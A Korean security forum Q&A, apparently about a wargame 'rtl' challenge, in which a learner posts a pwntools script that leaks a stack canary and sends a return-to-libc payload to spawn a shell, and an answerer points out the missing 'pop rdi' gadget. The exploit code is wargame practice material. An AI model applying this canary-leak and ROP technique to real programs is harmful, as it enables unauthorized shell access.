왜 프로세스가 죽는지 모르겠습니다..

죽은 부분..
진짜 뭐가 문제일까요....
stack alignment 깨지는거 같아서 맞춰주려고 ret 가젯 중간에 한번 넣어줬구요.
binsh 포인터 변수가 문제인가 싶어서 포인터변수가 가르키는 주소로 해봤구요.
진짜 뭐가 문제인지 모르겠습니다..
도와주세요..

from pwn import *

#p = remote('host1.dreamhack.games', 10731)
p = process('./rtl')

binsh = 0x402004
sys = 0x4010b0
ret = 0x000000000040101a

leak_canary = b'A'* (56+1) # null byte
pause()
p.send(leak_canary)
p.recvuntil(leak_canary)
canary = u64(b'\x00'+p.recv(7))

print('canary: '+hex(canary))
print('sys: '+hex(sys))
print('binsh: '+hex(binsh))

payload = b'B' * 56
payload += p64(canary)
payload += b'C' * 8
payload += p64(ret)
payload += p64(sys)
payload += p64(binsh)

p.sendlineafter(b"Buf: ", payload)

p.interactive()```
#pwnable
작성자 정보
답변 1
시니어

system("/bin/sh")를 실행시키고 싶으신 것 같은데, 호출 규약에 따라 첫 번째 인자는 rdi에 들어갑니다.
올려주신 코드에서는 rdi 를 pop 해주지 않습니다. 그래서 /bin/sh 가 rdi에 들어가지 못해
system("/bin/sh")가 실행되지 않는 것으로 추측됩니다.
pop rdi 가젯을 찾아 페이로드를 다시 구성해보시면 좋을 것 같습니다.

2024.10.02. 00:18
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기